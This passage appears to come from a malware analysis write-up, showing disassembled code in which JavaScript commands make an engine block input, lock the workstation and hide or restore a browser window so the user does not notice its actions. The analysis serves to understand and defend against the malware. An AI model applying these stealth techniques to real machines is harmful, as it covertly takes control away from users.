  PUSH       FALSE                                            ; 17f37215 6a 00
BLOCKINPUT:
  CALL       dword ptr [->USER32.DLL::BlockInput]             ; 17f37217 ff 15 4c
  JMP        LAB_17f37234                                     ; 17f3721d eb 15
;   case 17 == JS "lock"     ->  LockWorkStation()
  CALL       dword ptr [->USER32.DLL::LockWorkStation]        ; 17f3721f ff 15 70
  JMP        LAB_17f37234                                     ; 17f37225 eb 0d
;   case 18 == JS "hide"     ->  ShowWindow(hWnd, 0 = SW_HIDE)
  PUSH       SW_HIDE                                          ; 17f37227 6a 00
  JMP        SHOWWINDOW                                       ; 17f37229 eb 02
;   case 19 == JS "show"     ->  ShowWindow(hWnd, 5 = SW_SHOW)
  PUSH       SW_SHOW                                          ; 17f3722b 6a 05
SHOWWINDOW:
  PUSH       EDI=>DAT_fffffff8                                ; 17f3722d 57
  CALL       dword ptr [->USER32.DLL::ShowWindow]             ; 17f3722e ff 15 78

Before any actions are taken, the engine first checks if a browser window is open. It checks the title of all windows against the regex provided by the JavaScript caller. If it finds a matching window, it records its placement and size. This data is saved so the state of the window can be restored. The code snippet below shows this logic.

  LEA        eax=>local_6c,[EBP + -0x68]                            ; 17f363fd 8d 45 98
  PUSH       eax                                                    ; 17f36400 50
  PUSH       EBX                                                    ; 17f36401 53
  CALL       dword ptr [->USER32.DLL::GetWindowPlacement]           ; 17f36402 ff 15 10
  MOV        eax,dword ptr [EBP + local_50[0]]                      ; 17f36408 8b 45 b4
  MOV        dword ptr [EBP + local_15c],eax                        ; 17f3640b 89 85 a8
  MOV        eax,dword ptr [EBP + local_50[4]]                      ; 17f36411 8b 45 b8
  MOV        dword ptr [EBP + local_158],eax                        ; 17f36414 89 85 ac
  MOV        eax,dword ptr [EBP + local_50[8]]                      ; 17f3641a 8b 45 bc
  MOV        dword ptr [EBP + local_154],eax                        ; 17f3641d 89 85 b0
  MOV        eax,dword ptr [EBP + local_50[12]]                     ; 17f36423 8b 45 c0
  MOV        dword ptr [EBP + local_150],eax                        ; 17f36426 89 85 b4
  MOV        ESI,dword ptr [EBP + local_140]                        ; 17f3642c 8b b5 c4
  MOV        dword ptr [ESI + 0x14],EBX                             ; 17f36432 89 5e 14
  PUSH       EBX                                                    ; 17f36435 53
  CALL       dword ptr [->USER32.DLL::GetDpiForWindow]              ; 17f36436 ff 15 74
  MOVD       XMM0,eax                                               ; 17f3643c 66 0f 6e c0
  POR        XMM0,xmmword ptr [DAT_1865e280]                        ; 17f36440 66 0f eb
  SUBSD      XMM0,qword ptr [DAT_1865e270]  ;  = 4330000000000000h  ; 17f36448 f2 0f 5c
  CVTSD2SS   XMM0,XMM0                                              ; 17f36450 f2 0f 5a c0
  DIVSS      XMM0,dword ptr [DAT_18d899dc]                          ; 17f36454 f3 0f 5e
  MOVSS      dword ptr [ESI + 0x10],XMM0                            ; 17f3645c f3 0f 11
  PUSH       SW_SHOWNORMAL                                          ; 17f36461 6a 01
  PUSH       EBX=>DAT_fffffff8                                      ; 17f36463 53
  CALL       dword ptr [->USER32.DLL::ShowWindow]                   ; 17f36464 ff 15 78
  PCMPEQD    XMM0,XMM0                                              ; 17f3646a 66 0f 76 c0
  MOVDQU     xmmword ptr [EBP + local_7c[0]],XMM0                   ; 17f3646e f3 0f 7f
  LEA        eax=>local_7c,[EBP + -0x78]                            ; 17f36473 8d 45 88
  PUSH       eax                                                    ; 17f36476 50
  PUSH       EBX=>DAT_fffffff8                                      ; 17f36477 53
  CALL       dword ptr [->USER32.DLL::GetWindowRect]                ; 17f36478 ff 15 14

If no window is found, it starts a new browser instance using the command provided by the caller. After the actions have been executed, the window is restored or closed. This way, the computer user should be unaware of what has happened.

Note

Learn more about Intezer